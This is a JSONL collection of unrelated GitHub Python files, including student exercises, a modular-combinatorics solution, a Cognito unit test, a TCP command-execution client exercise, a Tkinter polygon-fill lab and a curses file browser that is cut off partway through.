+{"seq_id":"15419865568","text":"# use PyPy3 for faster JIT\n# for python 2 LOOOSERS :( \nif 2/3 == 2//3 : \n\tinput = raw_input\nelse: pass\n\n# limitting BITCH\nMOD = 1000000007\n\n# $construct PASCAL triangle\nfactorial_table = [0 for _ in range(100001)]\n\n# operate construction\ndef __init__() -> 'no explicit return':\n\t\n\ttmp = 1\n\tfactorial_table[0] = 1\n\n\tfor i in range(1 ,100001):\n\t\ttmp = (tmp*i)%MOD\n\t\tfactorial_table[i] = tmp\n\n# modular inverse of [A (mod C) is A^-1]%MOD\ndef mod_INV(base) -> int:\n\treturn pow(base , MOD - 2 ,MOD)\n\ndef nCr(n , r) -> int:\n\treturn (factorial_table[n]* \n\t\tmod_INV((factorial_table[r]*\n\t\t\tfactorial_table[n-r])%MOD))%MOD\n\n# binXOR called for main compute \ndef binXOR() -> int:\n\n\tN = int(input())\n\tinput_a = input()\n\tinput_b = input()\n\n\tn1 = n2 = ans = 0\n\n\tfor current in input_a:\n\t\tif current == '1': \n\t\t\tn1 += 1\n\n\tfor current in input_b:\n\t\tif current == '1': \n\t\t\tn2 += 1\n\n\tif n2 > n1: \n\t\tn1 , n2 = n2 , n1\n\n\tminn = n1 - n2\n\n\tif (n1+n2) > N: \n\t\tmaxx = (2*N) - (n1 + n2)\n\n\telse: \n\t\tmaxx = n1 + n2\n\n\tfor i in range(minn ,maxx+1 ,2): \n\t\tans = (ans + nCr(N ,i)) % MOD\n\n\treturn ans\n\ndef main():\n\n\t# call compute function\n\t__init__() # one time function\n\n\t# for cases\n\tfor _ in range(int(input())):\n\t\tprint(binXOR())\n\n# basic bitch like dineshC\nif __name__ == '__main__':\n# Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 21:26:53) [MSC v.1916 32 bit (Intel)] on win32\n\tmain()\n\texit()\n\n\n\n# MOD = 1000000007\n\n# # $construct PASCAL triangle\n# factorial_table = [0 for _ in range(100001)]\n\n# # operate construction\n# def __init__():\n\t\n# \ttemp = 1\n# \tfactorial_table[0] = 1\n\n# \tfor i in range(1 ,100001):\n# \t\ttemp = (temp*i)%MOD\n# \t\tfactorial_table[i] = temp\n\n# def mod_INV(base):\n# \treturn pow(base , MOD - 2 ,MOD)\n\n# def nCr(n , r):\n# \treturn (factorial_table[n]* \n# \t\tmod_INV((factorial_table[r]*factorial_table[n-r])%MOD))%MOD\n\n# __init__()\n\n# for _ in range(int(input())):\n# \tN = int(input())\n# \tn1 = n2 = 0\n\n# \tinput_a = input()\n# \tinput_b = input()\n\n# \tfor current in input_a:\n# \t\tif current == '1': n1 += 1\n\n# \tfor current in input_b:\n# \t\tif current == '1': n2 += 1\n\n# \tif n2 > n1: n1 , n2 = n2 , n1\n# \tminn = n1 - n2\n\n# \tif (n1+n2) > N:\n# \t\tmaxx = (2*N) - (n1 + n2)\n# \telse:\n# \t\tmaxx = n1 + n2\n\n# \tans = 0\n\n# \tfor i in range(minn ,maxx+1 ,2):\n# \t\tans = (ans + nCr(N ,i)) % MOD\n\n# \tprint(ans)","repo_name":"sarafanshul/Codes","sub_path":"OJs/BINXOR.py","file_name":"BINXOR.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"38548122594","text":"import unittest\nfrom unittest.mock import Mock\n\nfrom apps.identity_provider.cognito import AWSCognito\n\n\nclass TestAWSCognito(unittest.TestCase):\n def setUp(self):\n self.cognito_client = Mock()\n self.cognito_client.list_users.return_value = {\n \"Users\": [\n {\"Attributes\": [{\"Name\": \"email\", \"Value\": \"user1@example.com\"}]},\n {\"Attributes\": [{\"Name\": \"email\", \"Value\": \"user2@example.com\"}]},\n ],\n \"PaginationToken\": None,\n }\n\n self.aws_cognito = AWSCognito()\n self.aws_cognito._AWSCognito__client = self.cognito_client\n\n def test_list_all_users(self):\n users = self.aws_cognito.list_all_users()\n self.assertEqual(len(users), 2)\n\n def test_get_user_emails(self):\n users = [\n {\n \"Attributes\": [\n {\n \"Name\": \"email\",\n \"Value\": \"user1@example.com\",\n },\n ],\n },\n {\n \"Attributes\": [\n {\n \"Name\": \"email\",\n \"Value\": \"user2@example.com\",\n },\n ],\n },\n ]\n emails = self.aws_cognito.get_user_emails(users)\n self.assertEqual(emails, [\"user1@example.com\", \"user2@example.com\"])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"prozdrljivac/cloud_user_notifier","sub_path":"apps/identity_provider/tests/test_cognito.py","file_name":"test_cognito.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30874203492","text":"\nfrom .exceptions import RuleViolationException\nfrom .utils import lookup_arg_names\nfrom .checks import check_rules\n\ndef ruled(logger=None):\n '''Decorator for all the PythonRuled functions'''\n def _ruled(func):\n func_name = func.__name__\n func_annotations = func.__annotations__\n _logger = logger\n def ruled_wrapped(*args, **kwargs):\n args_dict = lookup_arg_names(func, args)\n for name in args_dict:\n kwargs[name] = args_dict[name]\n try:\n check_rules(func_name, kwargs, func_annotations)\n except RuleViolationException as e:\n if logger != None:\n _logger(e.message)\n else:\n raise e\n return func(**kwargs)\n return ruled_wrapped\n return _ruled\n","repo_name":"lubie0kasztanki/pythonrules","sub_path":"pythonrules/ruled.py","file_name":"ruled.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"27441456834","text":"from typing import Dict, Tuple\r\nimport sqlite3\r\n\r\n\r\nclass Aluno:\r\n def __init__(self, id_aluno: int = 0, nome: str = \"\", matricula: str = \"\"):\r\n self.id = id_aluno\r\n self.nome = nome\r\n self.matricula = matricula\r\n\r\n def to_dictionary(self) -> Dict[str, str]:\r\n d = dict()\r\n d['id'] = self.id\r\n d['nome'] = self.nome\r\n d['matricula'] = self.matricula\r\n return d\r\n\r\n @staticmethod\r\n def to_tuple(tupla: Tuple[int, str, str]):\r\n return Aluno(id_aluno=tupla[0], nome=tupla[1], matricula=tupla[2])\r\n\r\n @staticmethod\r\n def create(dados: Dict[str, str]) -> object:\r\n try:\r\n id = dados[\"id\"]\r\n nome = dados[\"nome\"]\r\n matricula = dados[\"matricula\"]\r\n return Aluno(id_aluno=int(id), nome=nome, matricula=matricula)\r\n except Exception as e:\r\n print(\"Problema ao criar novo professor! \" + e)\r\n raise ValueError()\r\n\r\n @staticmethod\r\n def table_name() -> str:\r\n return \"tb_aluno\"\r\n\r\n @staticmethod\r\n def migrate_table() -> int:\r\n with sqlite3.connect('DATABASE') as conn:\r\n cursor = conn.cursor()\r\n cursor.execute(\r\n f\"CREATE TABLE IF NOT EXISTS {Aluno.table_name()} (\" +\r\n \" id INTEGER PRIMARY KEY AUTOINCREMENT,\" +\r\n \" nome VARCHAR(100),\" +\r\n \" matricula VARCHAR(100)\" +\r\n \");\"\r\n )\r\n conn.commit()\r\n\r\n rows = cursor.fetchall()\r\n\r\n return len(rows)\r\n","repo_name":"TopZeraProductions/desenvolvimento-de-aplicacoes-distribuidas","sub_path":"AtividadesContinuas/AC06,7,8/SalaDeAulaApi/Models/aluno/entities/aluno.py","file_name":"aluno.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9563385964","text":"# The client takes a string from the command line and sends it to the server. \n# The server interprets the string as a command with its parameters. \n# It executes the command and returns the standard output and the exit code to the client.\n\nimport sys\nimport socket\nimport pickle\nimport struct\n\nmyCmdStr = str (' '.join(sys.argv[1:]))\n# print(myCmdStr)\n\ntry:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\",2222))\n\n s.send(myCmdStr.encode())\n\n data = s.recv(2048)\n\nexcept socket.error as e:\n print(\"Socket error -\",e.strerror)\n exit(-1)\n\ns.send(b'y') # receive confirmation\n\noutput = data.decode()\n\nprint(\"The output is:\\n{}\".format(output))\n\nretCode = struct.unpack('!i',s.recv(4))[0]\ns.close()\n\nprint(\"The exit code is:\", retCode)\n\n\n\n","repo_name":"StefanCsPurge/Computer-Networks","sub_path":"Socket Programming/TCP_ForkServ_CmdExec_dadiL2_1_PY/dadi1c.py","file_name":"dadi1c.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"4314130805","text":"import random\n\nminimo = 0\nmassimo = 2000\nnumero_da_indovinare = random.randint(minimo, massimo)\ntentativi = 0\n\nwhile True:\n tentativi = tentativi + 1\n print(\"--- Tentativo numero \" + str(tentativi) + \".\")\n numero_provato = minimo - 1\n while not minimo <= numero_provato <= massimo:\n tentativo = input(\"Inserisci un numero tra \" + str(minimo) + \" e \" + str(massimo) + \":\")\n try:\n numero_provato = int(tentativo)\n except:\n print(\"Ma chi vuoi prendere in giro? '\" + tentativo + \"' non è un numero!\")\n if numero_provato == numero_da_indovinare:\n print(\"BRAVO!!!! Hai indovinato in \" + str(tentativi) + \" tentativi.\")\n import sys\n sys.exit()\n messaggio_riprova = \"Peccato non hai indovinato... prova ancora con un numero più \"\n if numero_provato > numero_da_indovinare:\n messaggio_riprova = messaggio_riprova + \"basso\"\n if numero_provato < numero_da_indovinare:\n messaggio_riprova = messaggio_riprova + \"alto\"\n print(messaggio_riprova + \".\")\n","repo_name":"la10736/indovina_numero","sub_path":"bug.py","file_name":"bug.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"40799827271","text":"import pyxel\npyxel.init(200,200)\n\nstart_x,start_y,end_x,end_y,count=0,0,0,0,0\ndef update():\n global start_x,start_y,end_x,end_y,count\n n =pyxel.btn(pyxel.KEY_SPACE)\n np = pyxel.btnp(pyxel.KEY_SPACE)\n if n and np: #押し始めたとき\n start_x,start_y =pyxel.mouse_x,pyxel.mouse_y\n count += 1\n\n if n or np: #押している間\n if count == 1:\n end_x,end_y=pyxel.mouse_x,pyxel.mouse_y\n if count == 2:\n pass\n if count == 3:\n end_x, end_y = pyxel.mouse_x, pyxel.mouse_y\n\ndef draw():\n global a\n pyxel.cls(7)\n pyxel.line(start_x,start_y,end_x,end_y,0)\n\npyxel.run(update, draw)","repo_name":"sa2shun/info2","sub_path":"main_B_7_4.py","file_name":"main_B_7_4.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"36124421835","text":"import requests\nimport os\nimport pandas as pd\nimport zipfile\nfrom tqdm import tqdm\n\ndef download_url(url, save_path, chunk_size=128):\n r = requests.get(url, stream=True)\n with open(save_path, 'wb') as fd:\n for chunk in r.iter_content(chunk_size=chunk_size):\n fd.write(chunk)\n\ndef unzip_file(source, path, msg=\"Extracting\"):\n with zipfile.ZipFile(source) as zf:\n for member in tqdm(zf.infolist(), desc=msg):\n try:\n zf.extract(member, path)\n except zipfile.error as e:\n pass\n\ndef download_data(path, compressed_data_filename, data_folder, url, verbose):\n compressed_data_path = path / compressed_data_filename\n uncompressed_data_path = path / data_folder\n # create data folder\n os.makedirs(path, exist_ok=True)\n # extract\n if not os.path.isdir(uncompressed_data_path):\n # check data is not already downloaded\n if not os.path.isfile(compressed_data_path):\n print(\"downloading data ...\")\n download_url(url, compressed_data_path)\n else:\n print(\"data already downloaded !\")\n unzip_file(compressed_data_path, path, msg=\"extracting data ...\")\n else:\n if verbose:\n print(\"data already downloaded and extracted !\")\n return uncompressed_data_path\n\n\n# retrieve classes from folder structure\t\ndef generate_classes_list(uncompressed_data_path):\n return sorted(os.listdir(uncompressed_data_path))\n\n\ndef generate_df(classes, uncompressed_data_path, verbose):\n images, labels = [], []\n for ix, label in enumerate(classes):\n _images = os.listdir(uncompressed_data_path / label)\n images += [str(uncompressed_data_path /\n label / img) for img in _images]\n labels += [ix]*len(_images)\n assert len(images) == len(labels)\n if verbose:\n print(f'Number of images: {len(images)}')\n return pd.DataFrame({'image': images, 'label': labels})\n\n","repo_name":"juansensio/convnets","sub_path":"convnets/datasets/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"21385311961","text":"import threading\nfrom tkinter import *\nfrom tkinter import messagebox, colorchooser\nfrom const import *\nfrom time import time, sleep\n\n\npressed = False\nfilling_color = FILL_COLOR\nline_color = COLOR_LINE\nfilled = False\ndrawing = False\ndebounced_timer = None\ndebounced_scale = 1.0\n\n\ndef move_start(event):\n canvas_win.scan_mark(event.x, event.y)\n\n\ndef move_move(event):\n canvas_win.scan_dragto(event.x, event.y, gain=1)\n\n\ndef pressed2(event):\n global pressed\n pressed = not pressed\n canvas_win.scan_mark(event.x, event.y)\n\n\ndef move_move2(event):\n if pressed:\n canvas_win.scan_dragto(event.x, event.y, gain=1)\n\n\ndef zoomer(event):\n global drawing\n if not drawing:\n if event.delta > 0 or event.num == 4:\n debounce(0.1)(zoom)(1.1)\n elif event.delta < 0 or event.num == 5:\n debounce(0.1)(zoom)(0.9)\n\n\ndef zoom(scale):\n global edges, filling_color, line_color, canvas_win\n old_dots = dots\n clean_canvas()\n for ind, figure in enumerate(old_dots):\n if len(figure) > 0:\n for n, dot in enumerate(figure):\n center_x = canvas_win.winfo_width() / 2\n center_y = canvas_win.winfo_height() / 2\n x = int(scale * (dot[0] - center_x) + center_x)\n y = int(scale * (dot[1] - center_y) + center_y)\n if n < len(figure) - 1:\n add_dot(x, y, True)\n close_figure()\n if filled:\n draw_edges_and_fill_figure()\n\n\ndef debounce(wait_time):\n global debounced_timer, debounced_scale\n\n def decorator(function):\n def debounced(*args, **kwargs):\n global debounced_timer, debounced_scale\n\n def call_function():\n global debounced_timer, debounced_scale\n debounced_timer = None\n scale = debounced_scale\n debounced_scale = 1.0\n canvas_win.after(1, function, scale)\n if debounced_timer is not None:\n debounced_scale = debounced_scale * args[0]\n debounced_timer.cancel()\n else:\n debounced_scale = args[0]\n debounced_timer = threading.Timer(wait_time, call_function)\n debounced_timer.start()\n debounced_timer = None\n return debounced\n return decorator\n\n\ndef clear_canvas():\n canvas_win.delete(\"all\")\n\n\ndef draw_dot(x, y, color):\n image_canvas.put(color, (x, y))\n\n\ndef draw_line(point_one, point_two, color):\n canvas_win.create_line(point_one[0], point_one[1], point_two[0], point_two[1], fill=color)\n\n\ndef read_dot():\n try:\n x = float(x_entry.get())\n y = float(y_entry.get())\n except:\n messagebox.showerror(\"Ошибка\", \"Неверно введены координаты точки\")\n return\n add_dot(int(x), int(y))\n\n\ndef click(event):\n x = event.x\n y = event.y\n add_dot(x, y)\n\n\ndef add_dot(x, y, last=True):\n global line_color\n cur_figure = len(dots) - 1\n dots[cur_figure].append([x, y])\n cur_dot = len(dots[cur_figure]) - 1\n if last:\n dots_list_box.insert(END, \"%d. (%4d;%4d)\" % (cur_dot + 1, x, y))\n if len(dots[cur_figure]) > 1:\n edges[cur_figure].append([dots[cur_figure][cur_dot - 1], dots[cur_figure][cur_dot]])\n draw_line(dots[cur_figure][cur_dot - 1], dots[cur_figure][cur_dot], line_color)\n\n\ndef close_figure():\n cur_figure = len(dots)\n cur_dot = len(dots[cur_figure - 1])\n if cur_dot < 3:\n messagebox.showerror(\"Ошибка\", \"Недостаточно точек, чтобы замкнуть фигуру\")\n add_dot(dots[cur_figure - 1][0][0], dots[cur_figure - 1][0][1], last=False)\n dots.append(list())\n edges.append(list())\n dots_list_box.insert(END, \"_______________________\")\n\n\ndef find_line_coefficients(x1, y1, x2, y2):\n return y1 - y2, x2 - x1, x1 * y2 - x2 * y1\n\n\ndef find_dot_of_intersection(a1, b1, c1, a2, b2, c2):\n x = ((-c1) * b2 - b1 * (-c2)) / (a1 * b2 - a2 * b1)\n y = (a1 * (-c2) - (-c1) * a2) / (a1 * b2 - a2 * b1)\n return x, y\n\n\ndef draw_edge(point_one, point_two):\n if point_one[1] == point_two[1]:\n return\n sa, sb, sc = find_line_coefficients(point_one[0], point_one[1], point_two[0], point_two[1])\n if point_one[1] > point_two[1]:\n y_max, y_min, x = point_one[1], point_two[1], point_two[0]\n else:\n y_max, y_min, x = point_two[1], point_one[1], point_one[0]\n y = int(y_min)\n while y < y_max:\n a, b, c = find_line_coefficients(x, y, x + 1, y)\n x_intersection, y_intersection = find_dot_of_intersection(sa, sb, sc, a, b, c)\n if image_canvas.get(int(x_intersection) + 1, y) != TEMP_SIDE_COLOR_CHECK:\n image_canvas.put(TEMP_SIDE_COLOR, (int(x_intersection) + 1, y))\n else:\n image_canvas.put(TEMP_SIDE_COLOR, (int(x_intersection) + 2, y))\n y += 1\n canvas_win.update()\n\n\ndef draw_edges_of_figure():\n for figure in range(len(edges)):\n sides_amount = len(edges[figure]) - 1\n for side in range(sides_amount + 1):\n draw_edge(edges[figure][side][0], edges[figure][side][1])\n\n\ndef find_borders_of_area(dots):\n x_max = 0\n x_min = CV_WIDTH\n y_max = CV_HEIGHT\n y_min = 0\n for figure in dots:\n for dot in figure:\n if dot[0] > x_max:\n x_max = dot[0]\n if dot[0] < x_min:\n x_min = dot[0]\n if dot[1] < y_max:\n y_max = dot[1]\n if dot[1] > y_min:\n y_min = dot[1]\n return x_max, x_min, y_max, y_min\n\n\ndef draw_edges_and_fill_figure():\n global filled, drawing\n drawing = True\n cur_figure = len(dots) - 1\n if len(dots[cur_figure]) != 0:\n messagebox.showerror(\"Ошибка\", \"Последняя фигура не замкнута\")\n return\n if option.get() == 1:\n delay = True\n else:\n delay = False\n draw_edges_of_figure()\n fill_with_flag(edges, filling_color, delay=delay)\n filled = True\n drawing = False\n\n\ndef fill_with_flag(edges, color_fill, delay=False):\n canvas_win.update()\n x_max, x_min, y_max, y_min = find_borders_of_area(dots)\n for y in range(y_min, y_max - 1, -1):\n flag = False\n for x in range(x_min, x_max + 2):\n if image_canvas.get(x, y) == TEMP_SIDE_COLOR_CHECK:\n flag = not flag\n if flag:\n image_canvas.put(color_fill, (x, y))\n else:\n image_canvas.put(CV_COLOR, (x, y))\n if delay:\n canvas_win.update()\n sleep(0.0001 * 1)\n for fig in edges:\n for side in fig:\n draw_line(side[0], side[1], line_color)\n\n\ndef choose_line_color():\n global line_color\n line_color = colorchooser.askcolor()[1]\n\n\ndef choose_fill_color():\n global filling_color\n filling_color = colorchooser.askcolor()[1]\n\n\ndef fill_click():\n global filling_color\n start_time = time()\n draw_edges_and_fill_figure()\n end_time = time()\n measure_fill_time(start_time, end_time, filling_color)\n\n\ndef show_task():\n messagebox.showinfo(title='Условие', message=TASK)\n\n\ndef measure_fill_time(start_time, end_time, color):\n top = Toplevel(win)\n top['bg'] = color\n top.geometry(\"250x150\")\n top.title(\"Время закраски\")\n Label(top, text=\"Время: %-3.2f с\" % (end_time - start_time), bg=\"white\", fg='black').place(x=40, y=30, relheight=0.5, relwidth=0.70)\n\n\ndef clean_canvas():\n global dots\n global edges\n global image_canvas\n canvas_win.delete(\"all\")\n image_canvas = PhotoImage(width=CV_WIDTH, height=CV_HEIGHT)\n canvas_win.create_image((CV_WIDTH / 2, CV_HEIGHT / 2), image=image_canvas, state=\"normal\")\n canvas_win.place(x=0, y=0)\n dots = [[]]\n edges = [[]]\n dots_list_box.delete(0, END)\n\n\nif __name__ == \"__main__\":\n win = Tk()\n win['bg'] = WIN_COLOR\n win.geometry(\"%dx%d\" % (WIN_WIDTH, WIN_HEIGHT))\n win.title(\"Лабораторная работа №5. Растровое заполнение\")\n canvas_win = Canvas(win, width=CV_WIDTH, height=CV_HEIGHT, background=WIN_COLOR)\n image_canvas = PhotoImage(width=CV_WIDTH, height=CV_HEIGHT)\n canvas_win.create_image((CV_WIDTH / 2, CV_HEIGHT / 2), image=image_canvas, state=\"normal\")\n canvas_win.place(x=0, y=0)\n canvas_win.create_rectangle(1, 1, CV_WIDTH-1, CV_HEIGHT-1)\n x_text = Label(text=\"x: \", bg=BOX_COLOR)\n x_text.place(x=CV_WIDTH + 60, y=180)\n x_entry = Entry(width=15)\n x_entry.place(x=CV_WIDTH + 80, y=180)\n y_text = Label(text=\"y: \", bg=BOX_COLOR)\n y_text.place(x=CV_WIDTH + 240, y=180)\n y_entry = Entry(width=15)\n y_entry.place(x=CV_WIDTH + 260, y=180)\n add_dot_btn = Button(win, text=\"Добавить точку\", width=20, command=lambda: read_dot())\n add_dot_btn.place(x=CV_WIDTH + 160, y=210)\n make_figure_btn = Button(win, text=\"Замкнуть фигуру\", width=15, command=lambda: close_figure())\n make_figure_btn.place(x=CV_WIDTH + 80, y=80)\n dots = [[]]\n edges = [[]]\n dots_list_text = Label(win, text=\"Список точек\", width=43, bg=MAIN_TEXT_COLOR)\n dots_list_text.place(x=CV_WIDTH + 185, y=20)\n dots_list_box = Listbox(bg=\"white\")\n dots_list_box.configure(height=7, width=20)\n dots_list_box.place(x=CV_WIDTH + 240, y=50)\n color_text = Label(win, text=\"Закраска\", width=43, bg=MAIN_TEXT_COLOR)\n color_text.place(x=CV_WIDTH + 50, y=250)\n option = IntVar()\n option.set(1)\n draw_delay = Radiobutton(text=\"С задержкой\", variable=option, value=1,\n bg=BOX_COLOR, activebackground=BOX_COLOR, highlightbackground=BOX_COLOR)\n draw_delay.place(x=CV_WIDTH + 110, y=270)\n draw_without_delay = Radiobutton(text=\"Без задержки\", variable=option,\n value=2, bg=BOX_COLOR, activebackground=BOX_COLOR, highlightbackground=BOX_COLOR)\n draw_without_delay.place(x=CV_WIDTH + 260, y=270)\n task_btn = Button(win, width=15, text=\"Условия задачи\", command=lambda: show_task())\n task_btn.place(x=CV_WIDTH + 80, y=140)\n fill_figure_btn = Button(win, text=\"Закрасить\", width=20, command=lambda: fill_click())\n fill_figure_btn.place(x=CV_WIDTH + 170, y=300)\n clear_win_btn = Button(win, width=15, text=\"Очистить холст\", command=lambda: clean_canvas())\n clear_win_btn.place(x=CV_WIDTH + 80, y=110)\n color_text = Label(win, text=\"Цвет\", width=15, bg=MAIN_TEXT_COLOR)\n color_text.place(x=CV_WIDTH + 175, y=340)\n option_color = IntVar()\n option_color.set(1)\n line_color_btn = Button(win, width=15, text=\"линий\", command=lambda: choose_line_color())\n line_color_btn.place(x=CV_WIDTH + 80, y=360)\n fill_color_btn = Button(win, width=15, text=\"заливки\", command=lambda: choose_fill_color())\n fill_color_btn.place(x=CV_WIDTH + 280, y=360)\n canvas_win.bind_all(\"\", zoomer)\n canvas_win.bind(\"\", zoomer)\n canvas_win.bind(\"\", zoomer)\n canvas_win.bind(\"<1>\", click)\n win.mainloop()\n","repo_name":"ITECHSH/CG-BMSTU-sem4","sub_path":"cg_5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"16839429683","text":"# -*- coding: utf-8 -*-\n\nimport curses\nimport sys\nimport os\nimport re\nimport commands\n\nfrom files import FileManager\n\nfrom curses import COLOR_BLACK as BLACK\nfrom curses import COLOR_GREEN as GREEN\nfrom curses import COLOR_YELLOW as YELLOW \nfrom curses import COLOR_WHITE as WHITE \nfrom curses import COLOR_RED as RED\nfrom curses import COLOR_MAGENTA as MAGENTA\nfrom curses import COLOR_CYAN as CYAN\nfrom curses import COLOR_BLUE as BLUE\nfrom curses import A_BOLD as BOLD\nfrom curses import A_REVERSE as REVERSE\nfrom curses import A_DIM as DIM\nfrom curses import A_UNDERLINE as UNDERLINE\nfrom curses import A_BLINK as BLINK\nfrom curses import KEY_DOWN\nfrom curses import KEY_UP\nfrom curses import KEY_RIGHT\nfrom curses import KEY_LEFT\nfrom curses import KEY_RESIZE\nKEY_ESC = 27\nKEY_ENTER = 10\n\n# Number of lines in the bottom.\nBLINES = 2\n\n# The keys are the file type and the values should be substrings\n# of the output generated by the `file` command. The program matches substrings\n# against the output of `file` to determine the file type.\n# The values can be a single string or a list of strings, in this last case\n# when the first substring is found the filetype is determined.\nFILES = {\n 'pdf': 'pdf',\n 'py': 'python',\n 'txt': ['utf-8', 'ascii'],\n 'chm': 'ms windows htmlhelp data',\n 'djvu': 'djvu',\n 'jpeg': 'jpeg',\n 'png': 'png',\n 'gif': 'gif',\n 'ps': 'postscript',\n 'pl': 'perl',\n 'mp3': 'mp3',\n 'avi': ['avi', 'video'],\n 'wmv': 'microsoft asf',\n}\n\n# Specify what programs should be used to open specific file types.\n# The keys must be the same extensions as those in the FILES dict.\nPROGS = {\n 'pdf': 'xpdf',\n 'py': 'xterm -e vi',\n 'txt': 'xterm -e vi',\n 'chm': 'xchm',\n 'djvu': 'djview',\n 'jpeg': 'gthumb',\n 'png': 'gthumb',\n 'gif': 'gthumb',\n 'ps': 'evince',\n 'pl': 'xterm -e vi',\n 'mp3': 'xterm -e mpg123',\n 'avi': 'vlc',\n 'wmv': 'vlc',\n}\n\n# Specify some colors for the application appearance.\n# The colors used for directories, files, executables, ... will be determined\n# from your default `ls` command ($LS_COLORS variable).\n# The format is (FOREGROUND, BACKGROUND, ATTRIBUTE).\nCOLORS = {\n 'cwd': (MAGENTA, 0, 0),\n 'bracket': (CYAN, 0, 0),\n 'total': (MAGENTA, 0, 0),\n 'num': (GREEN, 0, 0),\n 'info': (WHITE, 0, 0),\n 'empty': (RED, 0, 0),\n 'open_err': (RED, 0, BOLD),\n}\n\n\ndef _debug(*args):\n open('debug', 'a').write('\\n'.join([str(x) for x in args]))\n\ndef colors():\n \"\"\"Translate the colors in $LS_COLORS to curses attributes.\n Returns a dict.\n \n \"\"\"\n foreground = {30: BLACK, 31: RED, 32: GREEN, 33: YELLOW, 34: BLUE, \n 35: MAGENTA, 36: CYAN, 37: BLACK}\n background = {40: BLACK, 41: RED, 42: GREEN, 43: YELLOW, 44: BLUE, \n 45: MAGENTA, 46: CYAN, 47: BLACK}\n attributes = {0: 0, 1: BOLD, 4: UNDERLINE, 5: BLINK, 7: REVERSE, 8: DIM}\n lscolors = commands.getoutput('echo $LS_COLORS')\n colors, defined, i = {}, {}, 1\n for item in lscolors.split(':'):\n if not item: \n continue\n type, format = item.split('=')\n fg, bg, attr, text = 0, 0, 0, ''\n for item in format.split(';'):\n code = int(item)\n if code in foreground:\n fg = foreground[code]\n text = \"%s%i\" % (text, code)\n elif code in background:\n bg = background[code]\n text = \"%s%i\" % (text, code)\n elif code in attributes:\n attr = attributes[code]\n if fg or bg:\n if text not in defined:\n curses.init_pair(i, fg, bg)\n colors[type] = curses.color_pair(i) | attr\n defined[text] = i\n i += 1\n else:\n colors[type] = curses.color_pair(defined[text]) | attr\n else:\n colors[type] = attr\n for key, color in COLORS.items():\n i += 1\n curses.init_pair(i, color[0], color[1])\n colors[key] = curses.color_pair(i) | color[2]\n return colors\n\ndef filetype(path):\n \"\"\"Try to figure out what is the file type based on the output of\n the `file` command.\n \n \"\"\"\n out = commands.getoutput('file \"%s\"' % path)\n out = out.replace('%s: ' % path, '')\n out = out.lower()\n for ext, element in FILES.items():\n if isinstance(element, list):\n find = 0\n for item in element:\n if item in out:\n find = 1\n break\n if find:\n break\n elif isinstance(element, str):\n if element in out:\n break\n else:\n name, ext = os.path.splitext(path)\n if ext in PROGS:\n return ext\n else:\n return False\n return ext\n\n\nclass Navigator:\n \"\"\"Navigator interface.\n \n This class is the curses interface that will take actions bases on key\n presses and call functions of files.FileManager class.\n \n \"\"\"\n\n def __init__(self, win, dir):\n self.win = win\n self.color = colors()\n self.rows, self.cols = self.win.getmaxyx()\n self.top = curses.newwin(1, self.cols)\n self.fm = FileManager(dir)\n self.y = 0 # current cursor position\n self.j = 0 # previous cursor position\n self.wcontents()\n\n def wline(self, y=None):\n if y == None:\n y = self.y\n item = self.fm.contents[y]\n ext = item.ext\n key = '*.%s' % ext\n if ext and (key in self.color):\n attr = self.color[key]\n else:\n attr = self.color.get(item.lstype(), 0)\n num = \"%s \" % str(y+1).rjust(self.length)\n self.pad.addnstr(y, 0, num, self.cols-1, self.color.get('num', 0))\n if 'l' in self.fm.option:\n info, name = item.repr()\n size = self.cols-1-self.length-1\n self.pad.addnstr(info, size, self.color.get('info', 0))\n try: \n self.pad.addstr(' ', 0)\n except: \n pass\n size -= len(info)+1\n if size > 0:\n self.pad.attron(attr)\n self.pad.addnstr(name, size)\n self.pad.attroff(attr)\n else:\n self.pad.attron(attr)\n self.pad.addnstr(item.name, self.cols-1-self.length-1)\n self.pad.attroff(attr)\n\n def wcontents(self, y=None):\n if y == None:\n y = self.y\n self.win.erase()\n self.win.refresh()\n self.fm.setcontents()\n self.lines = len(self.fm.contents)\n self.length = len(\"%i\" % self.lines)\n if self.lines: # writing contents in the pad\n self.pad = curses.newpad(self.lines+BLINES, self.cols)\n for j in range(self.lines):\n self.wline(j)\n for i in range(BLINES):\n self.pad.addstr('\\n')\n self.cursor(y, True)\n self.pad.noutrefresh(y, 0, 1, 0, self.rows-2, self.cols-1)\n else:\n self.pad = curses.newpad(1, self.cols)\n self.pad.addnstr('empty', self.cols-1, self.color.get('empty', 0))\n self.pad.noutrefresh(0, 0, 1, 0, 2, 0)\n self.pad.keypad(1)\n try: # writing contents in the header\n bracket = self.color.get('bracket')\n self.top.move(0,0)\n self.top.addstr('[', bracket)\n self.top.addstr(self.fm.cwd, self.color.get('cwd', 0))\n self.top.addstr(']', bracket)\n if self.lines > self.rows-2:\n self.top.addstr('[', bracket)\n self.top.addstr(\"%i items\" % self.lines, \n self.color.get('total', 0))\n self.top.addstr(']', bracket)\n if self.fm.regex:\n self.top.addstr('[', bracket)\n self.top.addstr(self.fm.regex)\n self.top.addstr(']', 